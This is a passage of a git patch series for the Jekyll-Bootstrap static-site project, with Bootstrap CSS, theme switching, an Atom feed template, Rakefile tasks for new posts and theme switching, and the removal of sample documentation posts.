.alert-actions{margin-top:5px;} +.alert-message.block-message.error,.alert-message.block-message.success,.alert-message.block-message.info{color:#404040;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);} +.alert-message.block-message.error{background-color:#fddfde;border-color:#fbc7c6;} +.alert-message.block-message.success{background-color:#d1eed1;border-color:#bfe7bf;} +.alert-message.block-message.info{background-color:#ddf4fb;border-color:#c6edf9;} +.alert-message.block-message.danger p a,.alert-message.block-message.error p a,.alert-message.block-message.success p a,.alert-message.block-message.info p a{color:#404040;} +.pagination{height:36px;margin:18px 0;}.pagination ul{float:left;margin:0;border:1px solid #ddd;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);} +.pagination li{display:inline;} +.pagination a{float:left;padding:0 14px;line-height:34px;border-right:1px solid;border-right-color:#ddd;border-right-color:rgba(0, 0, 0, 0.15);*border-right-color:#ddd;text-decoration:none;} +.pagination a:hover,.pagination .active a{background-color:#c7eefe;} +.pagination .disabled a,.pagination .disabled a:hover{background-color:transparent;color:#bfbfbf;} +.pagination .next a{border:0;} +.well{background-color:#f5f5f5;margin-bottom:20px;padding:19px;min-height:20px;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);} +.modal-backdrop{background-color:#000000;position:fixed;top:0;left:0;right:0;bottom:0;z-index:10000;}.modal-backdrop.fade{opacity:0;} +.modal-backdrop,.modal-backdrop.fade.in{filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;} +.modal{position:fixed;top:50%;left:50%;z-index:11000;width:560px;margin:-250px 0 0 -280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.modal .close{margin-top:7px;} +.modal.fade{-webkit-transition:opacity .3s linear, top .3s ease-out;-moz-transition:opacity .3s linear, top .3s ease-out;-ms-transition:opacity .3s linear, top .3s ease-out;-o-transition:opacity .3s linear, top .3s ease-out;transition:opacity .3s linear, top .3s ease-out;top:-25%;} +.modal.fade.in{top:50%;} +.modal-header{border-bottom:1px solid #eee;padding:5px 15px;} +.modal-body{padding:15px;} +.modal-body form{margin-bottom:0;} +.modal-footer{background-color:#f5f5f5;padding:14px 15px 15px;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;zoom:1;margin-bottom:0;}.modal-footer:before,.modal-footer:after{display:table;content:"";zoom:1;} +.modal-footer:after{clear:both;} +.modal-footer .btn{float:right;margin-left:5px;} +.modal .popover,.modal .twipsy{z-index:12000;} +.twipsy{display:block;position:absolute;visibility:visible;padding:5px;font-size:11px;z-index:1000;filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;}.twipsy.fade.in{filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;} +.twipsy.above .twipsy-arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} +.twipsy.left .twipsy-arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} +.twipsy.below .twipsy-arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} +.twipsy.right .twipsy-arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} +.twipsy-inner{padding:3px 8px;background-color:#000000;color:white;text-align:center;max-width:200px;text-decoration:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.twipsy-arrow{position:absolute;width:0;height:0;} +.popover{position:absolute;top:0;left:0;z-index:1000;padding:5px;display:none;}.popover.above .arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} +.popover.right .arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} +.popover.below .arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} +.popover.left .arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} +.popover .arrow{position:absolute;width:0;height:0;} +.popover .inner{background:#000000;background:rgba(0, 0, 0, 0.8);padding:3px;overflow:hidden;width:280px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);} +.popover .title{background-color:#f5f5f5;padding:9px 15px;line-height:1;-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;border-bottom:1px solid #eee;} +.popover .content{background-color:#ffffff;padding:14px;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.popover .content p,.popover .content ul,.popover .content ol{margin-bottom:0;} +.fade{-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-ms-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;opacity:0;}.fade.in{opacity:1;} +.label{padding:1px 3px 2px;font-size:9.75px;font-weight:bold;color:#ffffff;text-transform:uppercase;white-space:nowrap;background-color:#bfbfbf;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.label.important{background-color:#c43c35;} +.label.warning{background-color:#f89406;} +.label.success{background-color:#46a546;} +.label.notice{background-color:#62cffc;} +.media-grid{margin-left:-20px;margin-bottom:0;zoom:1;}.media-grid:before,.media-grid:after{display:table;content:"";zoom:1;} +.media-grid:after{clear:both;} +.media-grid li{display:inline;} +.media-grid a{float:left;padding:4px;margin:0 0 18px 20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);}.media-grid a img{display:block;} +.media-grid a:hover{border-color:#0069d6;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);} \ No newline at end of file diff --git a/assets/themes/twitter/css/style.css b/assets/themes/twitter/css/style.css new file mode 100644 index 0000000..ac3cb73 --- /dev/null +++ b/assets/themes/twitter/css/style.css @@ -0,0 +1,71 @@ +/* Override some defaults */ +html, body { + background-color: #eee; +} +body { + padding-top: 40px; /* 40px to make the container go all the way to the bottom of the topbar */ +} +.container > footer p { + text-align: center; /* center align it with the container */ +} +.container { + width: 820px; /* downsize our container to make the content feel a bit tighter and more cohesive. NOTE: this removes two full columns from the grid, meaning you only go to 14 columns and not 16. */ +} + +/* The white background content wrapper */ +.content { + background-color: #fff; + padding: 20px; + margin: 0 -20px; /* negative indent the amount of the padding to maintain the grid system */ + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; + -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.15); + -moz-box-shadow: 0 1px 2px rgba(0,0,0,.15); + box-shadow: 0 1px 2px rgba(0,0,0,.15); +} + +/* Page header tweaks */ +.page-header { + background-color: #f5f5f5; + padding: 20px 20px 10px; + margin: -20px -20px 20px; +} + +.topbar .btn { + border: 0; +} + + +/* tag_box ======================================================== */ + +.tag_box { + list-style:none; + margin:0; + padding:5px 0 ; + overflow:hidden; +} +.tag_box li { + line-height:28px; +} +.tag_box.inline li { + float:left; +} +.tag_box a { + padding: 3px 6px; + margin: 2px; + background: #eee; + color:#005F6B; + border-radius: 3px; + text-decoration:none; +} +.tag_box a span{ + vertical-align:super; + font-size:0.8em; +} +.tag_box a.active { + background:#57A957; + border:1px solid #4C964D; + color:#FFF; +} + \ No newline at end of file From e34311ddedc6c0e3481971985e67451921a6a82c Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:54:32 -0800 Subject: [PATCH 023/144] use twitter theme as default --- _layouts/default.html | 4 ++-- _layouts/page.html | 2 +- _layouts/post.html | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/_layouts/default.html b/_layouts/default.html index 2391b67..bddadd5 100644 --- a/_layouts/default.html +++ b/_layouts/default.html @@ -1,4 +1,4 @@ --- --- -{% assign theme_asset_path = "/assets/themes/tom" %} -{% include themes/tom/default.html %} +{% assign theme_asset_path = "/assets/themes/twitter" %} +{% include themes/twitter/default.html %} diff --git a/_layouts/page.html b/_layouts/page.html index 7985e03..9a6351c 100644 --- a/_layouts/page.html +++ b/_layouts/page.html @@ -1,4 +1,4 @@ --- layout: default --- -{% include themes/tom/page.html %} +{% include themes/twitter/page.html %} diff --git a/_layouts/post.html b/_layouts/post.html index 66490a9..4371409 100644 --- a/_layouts/post.html +++ b/_layouts/post.html @@ -1,4 +1,4 @@ --- layout: default --- -{% include themes/tom/post.html %} +{% include themes/twitter/post.html %} From 812e27bacbc2abf42e1faf8799570fb0e14b5cf6 Mon Sep 17 00:00:00 2001 From: Matt Swanson <mdswanson@sep.com> Date: Sun, 15 Jan 2012 16:55:07 -0500 Subject: [PATCH 024/144] Add Atom rss feeds --- _config.yml | 1 + atom.xml | 27 +++++++++++++++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 atom.xml diff --git a/_config.yml b/_config.yml index d3caf3f..9df5c66 100644 --- a/_config.yml +++ b/_config.yml @@ -7,6 +7,7 @@ var: archive_path: /archive.html categories_path : /categories.html tags_path : /tags.html + rss_path: /atom.xml production_url : http://username.github.com # or your custom domain name title : Jekyll Boostrap diff --git a/atom.xml b/atom.xml new file mode 100644 index 0000000..b7fcffd --- /dev/null +++ b/atom.xml @@ -0,0 +1,27 @@ +--- +layout: nil +--- +<?xml version="1.0" encoding="utf-8"?> +<feed xmlns="http://www.w3.org/2005/Atom"> + + <title>{{ site.title }}</title> + <link href="{{ site.production_url }}/atom.xml" rel="self"/> + <link href="{{ site.production_url }}"/> + <updated>{{ site.time | date_to_xmlschema }}</updated> + <id>{{ site.production_url }}</id> + <author> + <name>{{ site.author.name }}</name> + <email>{{ site.author.email }}</email> + </author> + + {% for post in site.posts %} + <entry> + <title>{{ post.title }}</title> + <link href="{{ site.production_url }}{{ post.url }}"/> + <updated>{{ post.date | date_to_xmlschema }}</updated> + <id>h{{ site.production_url }}{{ post.id }}</id> + <content type="html">{{ post.content | xml_escape }}</content> + </entry> + {% endfor %} + +</feed> \ No newline at end of file From 6ee3125c179e2f610b039b3ace9a3836a998a4ee Mon Sep 17 00:00:00 2001 From: Pradeep Nayak <pradeep1288@gmail.com> Date: Mon, 16 Jan 2012 21:17:25 +0530 Subject: [PATCH 025/144] adding the new_post task, with bugs fixed which were pointed out by @swanson --- Rakefile | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/Rakefile b/Rakefile index 1087d90..9ad3f2d 100644 --- a/Rakefile +++ b/Rakefile @@ -1,6 +1,49 @@ require "rubygems" require 'rake' +## -- Misc Configs --## +jekyll_dir = "." +posts_dir = "_posts" +new_post_ext = "md" + +# usage rake new_post[my-new-post] or rake new_post['my new post'] or rake new_post (defaults to "new-post") +desc "Begin a new post in #{jekyll_dir}/#{posts_dir}" +task :new_post, :title do |t, args| + raise "### Cannot locate the #{posts_dir}." unless File.directory?(posts_dir) + mkdir_p "#{jekyll_dir}/#{posts_dir}" + args.with_defaults(:title => 'new-post') + slug = args.title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') + title = args.title.gsub(/-/,' ') + filename = "#{jekyll_dir}/#{posts_dir}/#{Time.now.strftime('%Y-%m-%d')}-#{slug}.#{new_post_ext}" + if File.exist?(filename) + abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' + end + puts "Creating new post: #{filename}" + open(filename, 'w') do |post| + post.puts "---" + post.puts "layout: post" + post.puts "title: \"#{title}\"" + post.puts "comments: true" + post.puts "category: " + post.puts "tags: []" + post.puts "---" + end +end + +def ask(message, valid_options) + if valid_options + answer = get_stdin("#{message} #{valid_options.to_s.gsub(/"/, '').gsub(/, /,'/')} ") while !valid_options.include?(answer) + else + answer = get_stdin(message) + end + answer +end + +def get_stdin(message) + print message + STDIN.gets.chomp +end + desc "Switch between Jekyll-bootstrap themes." task :switch_theme, :theme do |t, args| theme_path = File.join(File.dirname(__FILE__), "_includes", "themes", args.theme) From 6e70fddae61a1de1bd7fba7aa43f7c2f0f3d8af6 Mon Sep 17 00:00:00 2001 From: Jesse Chan-Norris <jcn@pith.org> Date: Mon, 16 Jan 2012 21:20:25 -0500 Subject: [PATCH 026/144] Change directory tests in switch_theme task to use FileTest.directory? instead of Dir.exists? for ruby 1.8.7 compatibility. --- Rakefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index 1087d90..6f824a0 100644 --- a/Rakefile +++ b/Rakefile @@ -6,8 +6,8 @@ task :switch_theme, :theme do |t, args| theme_path = File.join(File.dirname(__FILE__), "_includes", "themes", args.theme) layouts_path = File.join(File.dirname(__FILE__), "_layouts") - abort("rake aborted: './_includes/themes/#{args.theme}' directory not found.") unless Dir.exists?(theme_path) - abort("rake aborted: './_layouts' directory not found.") unless Dir.exists?(layouts_path) + abort("rake aborted: './_includes/themes/#{args.theme}' directory not found.") unless FileTest.directory?(theme_path) + abort("rake aborted: './_layouts' directory not found.") unless FileTest.directory?(layouts_path) Dir.glob("#{theme_path}/*") do |filename| puts "Generating '#{args.theme}' layout: #{File.basename(filename)}" From 9d7d4eb4f946a895ee79219813355af86a17c120 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 18 Jan 2012 15:35:10 -0800 Subject: [PATCH 027/144] reorganize rakefile Namely standardized some logic and put config variables in hash --- Rakefile | 61 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 30 deletions(-) diff --git a/Rakefile b/Rakefile index 826e7bc..f55c099 100644 --- a/Rakefile +++ b/Rakefile @@ -1,61 +1,48 @@ require "rubygems" require 'rake' -## -- Misc Configs --## -jekyll_dir = "." -posts_dir = "_posts" -new_post_ext = "md" +SOURCE = "." +CONFIG = { + 'themes' => File.join(SOURCE, "_includes", "themes"), + 'layouts' => File.join(SOURCE, "_layouts"), + 'posts' => File.join(SOURCE, "_posts"), + 'post_ext' => "md" +} # usage rake new_post[my-new-post] or rake new_post['my new post'] or rake new_post (defaults to "new-post") -desc "Begin a new post in #{jekyll_dir}/#{posts_dir}" +desc "Begin a new post in #{CONFIG['posts']}" task :new_post, :title do |t, args| - raise "### Cannot locate the #{posts_dir}." unless File.directory?(posts_dir) - mkdir_p "#{jekyll_dir}/#{posts_dir}" + abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) args.with_defaults(:title => 'new-post') slug = args.title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') - title = args.title.gsub(/-/,' ') - filename = "#{jekyll_dir}/#{posts_dir}/#{Time.now.strftime('%Y-%m-%d')}-#{slug}.#{new_post_ext}" + filename = File.join(CONFIG['posts'], "#{Time.now.strftime('%Y-%m-%d')}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' end + puts "Creating new post: #{filename}" open(filename, 'w') do |post| post.puts "---" post.puts "layout: post" - post.puts "title: \"#{title}\"" + post.puts "title: \"#{args.title.gsub(/-/,' ')}\"" post.puts "comments: true" post.puts "category: " post.puts "tags: []" post.puts "---" end -end - -def ask(message, valid_options) - if valid_options - answer = get_stdin("#{message} #{valid_options.to_s.gsub(/"/, '').gsub(/, /,'/')} ") while !valid_options.include?(answer) - else - answer = get_stdin(message) - end - answer -end - -def get_stdin(message) - print message - STDIN.gets.chomp -end +end # task :new_post desc "Switch between Jekyll-bootstrap themes." task :switch_theme, :theme do |t, args| - theme_path = File.join(File.dirname(__FILE__), "_includes", "themes", args.theme) - layouts_path = File.join(File.dirname(__FILE__), "_layouts") + theme_path = File.join(CONFIG['themes'], args.theme) - abort("rake aborted: './_includes/themes/#{args.theme}' directory not found.") unless FileTest.directory?(theme_path) - abort("rake aborted: './_layouts' directory not found.") unless FileTest.directory?(layouts_path) + abort("rake aborted: '#{CONFIG['themes']}/#{args.theme}' directory not found.") unless FileTest.directory?(theme_path) + abort("rake aborted: '#{CONFIG['layouts']}' directory not found.") unless FileTest.directory?(CONFIG['layouts']) Dir.glob("#{theme_path}/*") do |filename| puts "Generating '#{args.theme}' layout: #{File.basename(filename)}" - open("#{layouts_path}/#{File.basename(filename)}", 'w') do |page| + open(File.join(CONFIG['layouts'], File.basename(filename)), 'w') do |page| if File.basename(filename, ".html").downcase == "default" page.puts "---" page.puts "---" @@ -73,4 +60,18 @@ end # task :switch_theme desc "Launch preview environment" task :preview do system "jekyll --auto --server" +end # task :preview + +def ask(message, valid_options) + if valid_options + answer = get_stdin("#{message} #{valid_options.to_s.gsub(/"/, '').gsub(/, /,'/')} ") while !valid_options.include?(answer) + else + answer = get_stdin(message) + end + answer end + +def get_stdin(message) + print message + STDIN.gets.chomp +end \ No newline at end of file From 2a5c2751eb331cc46ff73d91077f210d5833dbb6 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 18 Jan 2012 16:42:26 -0800 Subject: [PATCH 028/144] Hello world --- index.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/index.md b/index.md index 03f605c..40ab32c 100644 --- a/index.md +++ b/index.md @@ -1,7 +1,6 @@ --- layout: page -title: Hello from Jekyll-Bootstrap -header: This is Jekyll-Bootstrap +title: Hello World! --- Read [Jekyll Quick Start](http://jekyllbootstrap.com/jekyll-quick-start.html) From bbf4212768ed6178049a66b929c92fcdcfe95ce9 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 18 Jan 2012 16:43:52 -0800 Subject: [PATCH 029/144] Add atom title and inline tag list --- atom.xml | 1 + categories.html | 2 +- tags.html | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/atom.xml b/atom.xml index b7fcffd..1be3bdf 100644 --- a/atom.xml +++ b/atom.xml @@ -1,5 +1,6 @@ --- layout: nil +title : Atom Feed --- <?xml version="1.0" encoding="utf-8"?> <feed xmlns="http://www.w3.org/2005/Atom"> diff --git a/categories.html b/categories.html index dba5f4f..a5ed9f8 100644 --- a/categories.html +++ b/categories.html @@ -5,7 +5,7 @@ group: navigation --- -<ul class="tag_box"> +<ul class="tag_box inline"> {% assign categories_list = site.categories %} {% include helpers/categories_list.html %} </ul> diff --git a/tags.html b/tags.html index f827adc..76686fc 100644 --- a/tags.html +++ b/tags.html @@ -5,7 +5,7 @@ group: navigation --- -<ul class="tag_box"> +<ul class="tag_box inline"> {% assign tags_list = site.tags %} {% include helpers/tags_list.html %} </ul> From e70aa41d12e91d38c640cd0fabe622f3ea5d6890 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 18 Jan 2012 16:45:24 -0800 Subject: [PATCH 030/144] remove samples I guess only one sample post file will do. Also if users leave this content up, Google may not like the duplicate content =/ --- .../core-samples/api/2011-11-27-theme-api.md | 10 - .../api/2011-11-28-bootstrap-api.md | 65 ------- .../api/2011-11-29-jekyll-liquid-api.md | 38 ---- .../api/2011-11-30-template-data-api.md | 172 ------------------ .../helpers/2011-9-27-posts-collate.md | 34 ---- .../helpers/2011-9-28-categories-list.md | 49 ----- .../helpers/2011-9-29-pages-list.md | 43 ----- .../helpers/2011-9-30-tags-list.md | 50 ----- .../2011-10-28-deployment-and-hosting.md | 36 ---- .../usage/2011-10-29-configuring-urls.md | 26 --- .../usage/2011-10-30-jekyll-theming.md | 31 ---- .../usage/2011-10-31-jekyll-quick-start.md | 80 -------- 12 files changed, 634 deletions(-) delete mode 100644 _posts/core-samples/api/2011-11-27-theme-api.md delete mode 100644 _posts/core-samples/api/2011-11-28-bootstrap-api.md delete mode 100644 _posts/core-samples/api/2011-11-29-jekyll-liquid-api.md delete mode 100644 _posts/core-samples/api/2011-11-30-template-data-api.md delete mode 100644 _posts/core-samples/helpers/2011-9-27-posts-collate.md delete mode 100644 _posts/core-samples/helpers/2011-9-28-categories-list.md delete mode 100644 _posts/core-samples/helpers/2011-9-29-pages-list.md delete mode 100644 _posts/core-samples/helpers/2011-9-30-tags-list.md delete mode 100644 _posts/core-samples/usage/2011-10-28-deployment-and-hosting.md delete mode 100644 _posts/core-samples/usage/2011-10-29-configuring-urls.md delete mode 100644 _posts/core-samples/usage/2011-10-30-jekyll-theming.md delete mode 100644 _posts/core-samples/usage/2011-10-31-jekyll-quick-start.md diff --git a/_posts/core-samples/api/2011-11-27-theme-api.md b/_posts/core-samples/api/2011-11-27-theme-api.md deleted file mode 100644 index c754907..0000000 --- a/_posts/core-samples/api/2011-11-27-theme-api.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -layout : post -categories : api -tags : api ---- - -The Jekyll Bootstrap Theme API documents how themes should be formatted -in order to be plugged into jekyll-bootstrap. - -## Philosophy diff --git a/_posts/core-samples/api/2011-11-28-bootstrap-api.md b/_posts/core-samples/api/2011-11-28-bootstrap-api.md deleted file mode 100644 index bfdb5c0..0000000 --- a/_posts/core-samples/api/2011-11-28-bootstrap-api.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -layout : post -categories : api -tags : api ---- - -The Jekyll Bootstrap API consists of custom includes and development -strategies meant to provide a more modular and sensible coding experience -when working with Liquid and Jekyll. - -## Philosophy - -Jekyll-bootstrap uses an 'include' helper strategy to encapsulate frequently used -code logic. This makes for more modular and DRY code. - -The 'include' helper is the same concept as rails' view helper modules, -just obviously much more constrained due to Liquid. - -## Include-helper Strategy - -### Define a new "method" - -The include helper strategy is meant to emulate a ruby method. -First encapsulate your liquid code logic in a Jekyll include file. -example: `helpers/tags_list.html` which is a helper to list tags and their total counts. - -{% capture text %}|.% for tag in tags_list %.| - <li><a href="|.{ site.var.tags_path }.||.{ tag[0] }.|-ref">|.{ tag[0] }.| <span>|.{tag[1].size}.|</span></a></li> -|.% endfor %.| - -|.% assign tags_list = null %.|{% endcapture %} -{% include helpers/liquid_raw.html %} - -In order to emulate passing arguments to the method, your include should reference localized variables whenever possible. -Now we can pass in arguments by defining the local variables immediately before calling the include file: - -### Invoking the Method. - -{% capture text %}<ul> - |.% assign tags_list = site.tags %.| - |.% include helpers/tags_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -You can define as many "arguments" as you want, just remember to nullify them all at the end of your include to preserve modularity. - -### Gotchas - -In Liquid, it is impossible to inline assign a variable to anything other than a string. -This means you can't pass in arrays, hashes, etc. -However, as shown above, you can pass-by-reference, and assign local variables to variables that already exist. - -So to pass in data-structures, you need to define them in your YAML Front Matter, or \_config.html file first, then pass them in by reference. - -## Contibuting - -If you have a good idea for another helper, please follow the outlines above, -then submit a pull request to [Jekyll-Bootstrap](http://github.com/plusjade/jekyll-bootstrap) and I'll include it. - -## Current Jekyll-Bootstrap Helpers - -<ul> - {% assign pages_list = site.categories.helpers %} - {% include helpers/pages_list.html %} -</ul> diff --git a/_posts/core-samples/api/2011-11-29-jekyll-liquid-api.md b/_posts/core-samples/api/2011-11-29-jekyll-liquid-api.md deleted file mode 100644 index ac1bafd..0000000 --- a/_posts/core-samples/api/2011-11-29-jekyll-liquid-api.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -layout : post -categories : api -tags : api ---- - -Here we'll get familiar with the Liquid syntax and learn about all the methods and logic available to us. - -## Introduction - -Jekyll uses the standard Liquid templating language package and includes a few other helpful extensions of its own. - -Jekyll-bootstrap does not support plugin development so only the standard filters and logic will be available to us. - -Remember we are the end-users! - -## Liquid Crash Course - -The following link contains a comprehensive course in everything available in Liquid. -The standard library is also available in Jekyll. - -<http://github.com/Shopify/liquid/wiki/Liquid-for-Designers> - -## Liquid Extensions Provided With Jekyll - -Jekyll introduces a few other filters and tags as outlined here: - -<http://github.com/mojombo/jekyll/wiki/Liquid-Extensions> - -## Examples - -Finally we take a look out the included helper examples and their source to see -how we can display our post and site information in a more strategic manner. - -<ul> -{% assign pages_list = site.categories.helpers %} -{% include helpers/pages_list.html %} -</ul> diff --git a/_posts/core-samples/api/2011-11-30-template-data-api.md b/_posts/core-samples/api/2011-11-30-template-data-api.md deleted file mode 100644 index a12b597..0000000 --- a/_posts/core-samples/api/2011-11-30-template-data-api.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -layout : post -categories : api -tags : [templating, liquid] ---- - -The Template data API is a comprehensive list of all data accessible in templates through using the Liquid templating language. -The next lesson will focus on [accessing Jekyll data via Liquid]({{page.previous.url}}) - -## Global Page/Post Data - -Every content file that Jekyll processes is either a page or a post. -In both cases the data relative to the specific page or post being rendered -within the template is accessible through the `page` variable. -The page variable is a globally accessible variable available to all templates, posts, pages, and includes being rendered -for the given post/page instance. - - - /* The following format represents a Jekyll::Post or Jekyll::Page object. Jekyll::Post and Jekyll::Page objects may be nested in other variables in which case you can expect this same format: */ - page = { - "layout"=>"post", - "categories"=>["lessons"], - "title"=>"Jekyll Liquid Api", - "url"=>"/lessons/jekyll-liquid-api.html", - "date"=>2011-01-27 00:00:00 -0800, - "id"=>"/lessons/jekyll-liquid-api", - "next"=> #Jekyll:Post @id="/lessons/template-data-api", - "previous"=> #Jekyll:Post @id="/lessons/configuring-urls", - "tags"=>["tagname1", "tagname2"], - "custom_variable"=> ["a", "custom", "defined", "data-structure"], - "content"=>"... this is the unparsed raw html page/post content ..." - } - - -### Setting Custom Data - -You can set custom variables through the post or page Yaml Front matter and they will be included -in the page hash. - -One important thing to note is that each Jekyll "rendering" instance is treating as a page/post object. -ALL YAML Front matter is merged into the current page/post instance. -So if you define custom data in the post file, then define custom data in the sub-template, -and also in the root template, all data will merge into the same page hash. - - -## Content Data - -Jekyll uses a special variable named `content` to refer to the current page/post content. - -The difference between `content` and `page.content` is the former is parsed with markdown or textile while the latter is raw. - -The `content` variable is only accessible in template files and include files provided the include is included into a template. - -### Content in Primary Templates. - -When calling `content` in a primary template the content includes any sub-templates -previously rendered by the page/post. - -### Content in Sub-Templates. - -When calling `content` in a sub-template `content` includes any sub-sub-templates -previously rendered by the page/post. If there are none, `content` just reflects -the page/post as processed by markdown or textile. - - -## Global Site Data - -This data is available anywhere liquid is available. This includes templates, posts, pages, and includes. - - - site = { - "related_posts"=> - [...(Array of liquified Jekyll::Post objects)...], - "safe"=>false, - "auto"=>true, - "server"=>true, - "server_port"=>4000, - "source"=>"/Users/jade/Dropbox/github/jekyll-bootstrap", - "destination"=>"/Users/jade/Dropbox/github/jekyll-bootstrap/_site", - "plugins"=>"/Users/jade/Dropbox/github/jekyll-bootstrap/_plugins", - "future"=>true, - "lsi"=>false, - "pygments"=>false, - "markdown"=>"maruku", - "permalink"=>"/:categories/:title.html", - "markdown_ext"=>"markdown,mkd,mkdn,md", - "textile_ext"=>"textile", - "maruku"=> - { - "use_tex"=>false, - "use_divs"=>false, - "png_engine"=>"blahtex", - "png_dir"=>"images/latex", - "png_url"=>"/images/latex" - }, - "rdiscount"=> - { - "extensions"=>[] - }, - "redcarpet"=> - { - "extensions"=>[] - }, - "kramdown"=> - { - "auto_ids"=>true, - "footnote_nr"=>1, - "entity_output"=>"as_char", - "toc_levels"=>"1..6", - "use_coderay"=>false, - "coderay"=> - { - "coderay_wrap"=>"div", - "coderay_line_numbers"=>"inline", - "coderay_line_number_start"=>1, - "coderay_tab_width"=>4, - "coderay_bold_every"=>10, - "coderay_css"=>"style" - } - }, - "time"=>2011-12-20 14:03:53 -0800, - "posts"=> - [...(Array of liquified Jekyll::Post objects)...], - "pages"=> - [...(Array of liquified Jekyll::Page objects)...], - "html_pages"=> - [...(Array of liquified Jekyll::Page objects)...], - "categories"=> - {"examples"=> - [...(Array of liquified Jekyll::Post objects)...], - "lessons"=> - [...(Array of liquified Jekyll::Post objects)...], - "tags"=> - { - "permalinks"=> - [...(Array of liquified Jekyll::Post objects)...], - "urls"=> - [...(Array of liquified 